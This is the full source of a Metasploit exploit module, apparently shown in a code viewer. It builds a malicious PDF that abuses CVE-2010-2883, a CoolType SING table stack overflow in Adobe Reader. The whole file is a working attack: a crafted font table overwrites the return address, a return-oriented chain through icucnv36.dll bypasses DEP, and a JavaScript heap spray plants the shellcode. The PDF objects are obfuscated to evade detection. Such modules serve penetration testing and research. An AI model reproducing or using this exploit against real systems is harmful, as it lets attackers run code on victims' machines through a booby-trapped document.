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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 | ## # $Id: adobe_cooltype_sing.rb 10477 2010-09-25 11:59:02Z mc $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'zlib' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking # aslr+dep bypass, js heap spray, rop, stack bof include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow', 'Description'=> %q{ This module exploits a vulnerability in the Smart INdependent Glyplets (SING) table handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior version are assumed to be vulnerable as well. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Unknown',# 0day found in the wild '@sn0wfl0w',# initial analysis '@vicheck', # initial analysis 'jduck' # Metasploit module ], 'Version'=> '$Revision: 10477 $', 'References' => [ [ 'CVE', '2010-2883' ], [ 'OSVDB', '67849'], [ 'URL', 'http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html' ], [ 'URL', 'http://www.adobe.com/support/security/advisories/apsa10-02.html' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', 'DisablePayloadHandler' => 'true', }, 'Payload'=> { 'Space'=> 1000, 'BadChars' => "\x00", 'DisableNops' => true }, 'Platform' => 'win', 'Targets'=> [ # Tested OK via Adobe Reader 9.3.4 on Windows XP SP3 -jjd # Tested OK via Adobe Reader 9.3.4 on Windows 7 -jjd [ 'Automatic', { }], ], 'DisclosureDate' => 'Sep 07 2010', 'DefaultTarget'=> 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.','msf.pdf']), ], self.class) end def exploit ttf_data = make_ttf() js_data = make_js(payload.encoded) # Create the pdf pdf = make_pdf(ttf_data, js_data) print_status("Creating '#{datastore['FILENAME']}' file...") file_create(pdf) end def make_ttf ttf_data = "" # load the static ttf file # NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20) path = File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-2883.ttf" ) fd = File.open( path, "rb" ) ttf_data = fd.read(fd.stat.size) fd.close # Build the SING table sing = '' sing << [ 0, 1, # tableVersionMajor, tableVersionMinor (0.1) 0xe01,# glyphletVersion 0x100,# embeddingInfo 0,# mainGID 0,# unitsPerEm 0,# vertAdvance 0x3a00# vertOrigin ].pack('vvvvvvvv') # uniqueName # "The uniqueName string must be a string of at most 27 7-bit ASCII characters" #sing << "A" * (0x254 - sing.length) sing << rand_text(0x254 - sing.length) # 0xffffffff gets written here @ 0x7001400 (in BIB.dll) sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V') # This becomes our new EIP (puts esp to stack buffer) ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret sing[0x208, 4] = [ret].pack('V') # This becomes the new eip after the first return ret = 0x4a82a714 sing[0x18, 4] = [ret].pack('V') # This becomes the new esp after the first return esp = 0x0c0c0c0c sing[0x1c, 4] = [esp].pack('V') # Without the following, sub_801ba57 returns 0. sing[0x24c, 4] = [0x6c].pack('V') ttf_data[0xec, 4] = "SING" ttf_data[0x11c, sing.length] = sing ttf_data end def make_js(encoded_payload) # The following executes a ret2lib using icucnv36.dll # The effect is to bypass DEP and execute the shellcode in an indirect way stack_data = [ 0x41414141, # unused 0x4a8063a5, # pop ecx / ret 0x4a8a0000, # becomes ecx 0x4a802196, # mov [ecx],eax / ret # save whatever eax starts as 0x4a801f90, # pop eax / ret 0x4a84903c, # becomes eax (import for CreateFileA) # -- call CreateFileA 0x4a80b692, # jmp [eax] 0x4a801064, # ret 0x4a8522c8, # first arg to CreateFileA (lpFileName / pointer to "iso88591") 0x10000000, # second arg- dwDesiredAccess 0x00000000, # third arg - dwShareMode 0x00000000, # fourth arg- lpSecurityAttributes 0x00000002, # fifth arg - dwCreationDisposition 0x00000102, # sixth arg - dwFlagsAndAttributes 0x00000000, # seventh arg - hTemplateFile 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx 0x4a842db2, # xchg eax,edi / ret 0x4a802ab1, # pop ebx / ret 0x00000008, # becomes ebx - offset to modify # # This points at a neat-o block of code that ... TBD # # and [esp+ebx*2],edi # jne check_slash # ret_one: # mov al,1 # ret # check_slash: # cmp al,0x2f # je ret_one # cmp al,0x41 # jl check_lower # cmp al,0x5a # jle check_ptr # check_lower: # cmp al,0x61 # jl ret_zero # cmp al,0x7a # jg ret_zero # cmp [ecx+1],0x3a # je ret_one # ret_zero: # xor al,al # ret # 0x4a80a8a6, # execute fun block 0x4a801f90, # pop eax / ret 0x4a849038, # becomes eax (import for CreateFileMappingA) # -- call CreateFileMappingA 0x4a80b692, # jmp [eax] 0x4a801064, # ret 0xffffffff, # arguments to CreateFileMappingA, hFile 0x00000000, # lpAttributes 0x00000040, # flProtect 0x00000000, # dwMaximumSizeHigh 0x00010000, # dwMaximumSizeLow 0x00000000, # lpName 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx 0x4a842db2, # xchg eax,edi / ret 0x4a802ab1, # pop ebx / ret 0x00000008, # becomes ebx - offset to modify 0x4a80a8a6, # execute fun block 0x4a801f90, # pop eax / ret 0x4a849030, # becomes eax (import for MapViewOfFile # -- call MapViewOfFile 0x4a80b692, # jmp [eax] 0x4a801064, # ret 0xffffffff, # args to MapViewOfFile - hFileMappingObject 0x00000022, # dwDesiredAccess 0x00000000, # dwFileOffsetHigh 0x00000000, # dwFileOffsetLow 0x00010000, # dwNumberOfBytesToMap 0x4a8063a5, # pop ecx / ret 0x4a8a0004, # becomes ecx - writable pointer 0x4a802196, # mov [ecx],eax / ret - save map base addr 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx - ptr to ret 0x4a842db2, # xchg eax,edi / ret 0x4a802ab1, # pop ebx / ret 0x00000030, # becomes ebx - offset to modify 0x4a80a8a6, # execute fun block 0x4a801f90, # pop eax / ret 0x4a8a0004, # becomes eax - saved file mapping ptr 0x4a80a7d8, # mov eax,[eax] / ret - load saved mapping ptr 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx - ptr to ret 0x4a842db2, # xchg eax,edi / ret 0x4a802ab1, # pop ebx / ret 0x00000020, # becomes ebx - offset to modify 0x4a80a8a6, # execute fun block 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx - ptr to ret 0x4a80aedc, # lea edx,[esp+0xc] / push edx / push eax / push [esp+0xc] / push [0x4a8a093c] / call ecx / add esp, 0x10 / ret 0x4a801f90, # pop eax / ret 0x00000034, # becomes eax 0x4a80d585, # add eax,edx / ret 0x4a8063a5, # pop ecx / ret 0x4a801064, # becomes ecx - ptr to ret 0x4a842db2, # xchg eax,edi / ret 0x4a802ab1, # pop ebx / ret 0x0000000a, # becomes ebx - offset to modify 0x4a80a8a6, # execute fun block 0x4a801f90, # pop eax / ret 0x4a849170, # becomes eax (import for memcpy) # -- call memcpy 0x4a80b692, # jmp [eax] 0xffffffff, # this stuff gets overwritten by the block at 0x4a80aedc, becomes ret from memcpy 0xffffffff, # becomes first arg to memcpy (dst) 0xffffffff, # becomes second arg to memcpy (src) 0x00001000, # becomes third arg to memcpy (length) #0x0000258b, # ?? #0x4d4d4a8a, # ?? ].pack('V*') var_unescape= rand_text_alpha(rand(100) + 1) var_shellcode = rand_text_alpha(rand(100) + 1) var_start = rand_text_alpha(rand(100) + 1) var_s = 0x10000 var_c = rand_text_alpha(rand(100) + 1) var_b = rand_text_alpha(rand(100) + 1) var_d = rand_text_alpha(rand(100) + 1) var_3 = rand_text_alpha(rand(100) + 1) var_i = rand_text_alpha(rand(100) + 1) var_4 = rand_text_alpha(rand(100) + 1) payload_buf = '' payload_buf << stack_data payload_buf << encoded_payload escaped_payload = Rex::Text.to_unescape(payload_buf) js = %Q| var #{var_unescape} = unescape; var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' ); var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" ); while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c}; #{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2); #{var_b} += #{var_shellcode}; #{var_b} += #{var_c}; #{var_d} = #{var_b}.substring(0, #{var_s}/2); while(#{var_d}.length < 0x80000) #{var_d} += #{var_d}; #{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2); var #{var_4} = new Array(); for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; | js end def RandomNonASCIIString(count) result = "" count.times do result << (rand(128) + 128).chr end result end def ioDef(id) "%d 0 obj \n" % id end def ioRef(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ def nObfu(str) #return str result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end def ASCIIHexWhitespaceEncode(str) result = "" whitespace = "" str.each_byte do |b| result << whitespace << "%02x" % b whitespace = " " * (rand(3) + 1) end result << ">" end def make_pdf(ttf, js) #swf_name = rand_text_alpha(8 + rand(8)) + ".swf" xref = [] eol = "\n" endobj = "endobj" << eol # Randomize PDF version? pdf = "%PDF-1.5" << eol pdf << "%" << RandomNonASCIIString(4) << eol # catalog xref << pdf.length pdf << ioDef(1) << nObfu("<<") << eol pdf << nObfu("/Pages ") << ioRef(2) << eol pdf << nObfu("/Type /Catalog") << eol pdf << nObfu("/OpenAction ") << ioRef(11) << eol # The AcroForm is required to get icucnv36.dll to load pdf << nObfu("/AcroForm ") << ioRef(13) << eol pdf << nObfu(">>") << eol pdf << endobj # pages array xref << pdf.length pdf << ioDef(2) << nObfu("<<") << eol pdf << nObfu("/MediaBox ") << ioRef(3) << eol pdf << nObfu("/Resources ") << ioRef(4) << eol pdf << nObfu("/Kids [") << ioRef(5) << "]" << eol pdf << nObfu("/Count 1") << eol pdf << nObfu("/Type /Pages") << eol pdf << nObfu(">>") << eol pdf << endobj # media box xref << pdf.length pdf << ioDef(3) pdf << "[0 0 595 842]" << eol pdf << endobj # resources xref << pdf.length pdf << ioDef(4) pdf << nObfu("<<") << eol pdf << nObfu("/Font ") << ioRef(6) << eol pdf << ">>" << eol pdf << endobj # page 1 xref << pdf.length pdf << ioDef(5) << nObfu("<<") << eol pdf << nObfu("/Parent ") << ioRef(2) << eol pdf << nObfu("/MediaBox ") << ioRef(3) << eol pdf << nObfu("/Resources ") << ioRef(4) << eol pdf << nObfu("/Contents [") << ioRef(8) << nObfu("]") << eol pdf << nObfu("/Type /Page") << eol pdf << nObfu(">>") << eol # end obj dict pdf << endobj # font xref << pdf.length pdf << ioDef(6) << nObfu("<<") << eol pdf << nObfu("/F1 ") << ioRef(7) << eol pdf << ">>" << eol pdf << endobj # ttf object xref << pdf.length pdf << ioDef(7) << nObfu("<<") << eol pdf << nObfu("/Type /Font") << eol pdf << nObfu("/Subtype /TrueType") << eol pdf << nObfu("/Name /F1") << eol pdf << nObfu("/BaseFont /Cinema") << eol pdf << nObfu("/Widths []") << eol pdf << nObfu("/FontDescriptor ") << ioRef(9) pdf << nObfu("/Encoding /MacRomanEncoding") pdf << nObfu(">>") << eol pdf << endobj # page content content = "Hello World!" content = "" + "0 g" + eol + "BT" + eol + "/F1 32 Tf" + eol + "32 Tc" + eol + "1 0 0 1 32 773.872 Tm" + eol + "(" + content + ") Tj" + eol + "ET" xref << pdf.length pdf << ioDef(8) << "<<" << eol pdf << nObfu("/Length %s" % content.length) << eol pdf << ">>" << eol pdf << "stream" << eol pdf << content << eol pdf << "endstream" << eol pdf << endobj # font descriptor xref << pdf.length pdf << ioDef(9) << nObfu("<<") pdf << nObfu("/Type/FontDescriptor/FontName/Cinema") pdf << nObfu("/Flags %d" % (2**2 + 2**6 + 2**17)) pdf << nObfu("/FontBBox [-177 -269 1123 866]") pdf << nObfu("/FontFile2 ") << ioRef(10) pdf << nObfu(">>") << eol pdf << endobj # ttf stream xref << pdf.length compressed = Zlib::Deflate.deflate(ttf) pdf << ioDef(10) << nObfu("<</Length %s/Filter/FlateDecode/Length1 %s>>" % [compressed.length, ttf.length]) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol pdf << endobj # js action xref << pdf.length pdf << ioDef(11) << nObfu("<<") pdf << nObfu("/Type/Action/S/JavaScript/JS ") + ioRef(12) pdf << nObfu(">>") << eol pdf << endobj # js stream xref << pdf.length compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) pdf << ioDef(12) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol pdf << endobj ### # The following form related data is required to get icucnv36.dll to load ### # form object xref << pdf.length pdf << ioDef(13) pdf << nObfu("<</XFA ") << ioRef(14) << nObfu(">>") << eol pdf << endobj # form stream xfa = <<-EOF <?xml version="1.0" encoding="UTF-8"?> <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/"> <config xmlns="http://www.xfa.org/schema/xci/2.6/"> <present><pdf><interactive>1</interactive></pdf></present> </config> <template xmlns="http://www.xfa.org/schema/xfa-template/2.6/"> <subform name="form1" layout="tb" locale="en_US"> <pageSet></pageSet> </subform></template></xdp:xdp> EOF xref << pdf.length pdf << ioDef(14) << nObfu("<</Length %s>>" % xfa.length) << eol pdf << "stream" << eol pdf << xfa << eol pdf << "endstream" << eol pdf << endobj ### # end form stuff for icucnv36.dll ### # trailing stuff xrefPosition = pdf.length pdf << "xref" << eol pdf << "0 %d" % (xref.length + 1) << eol pdf << "0000000000 65535 f" << eol xref.each do |index| pdf << "%010d 00000 n" % index << eol end pdf << "trailer" << eol pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol pdf end end |
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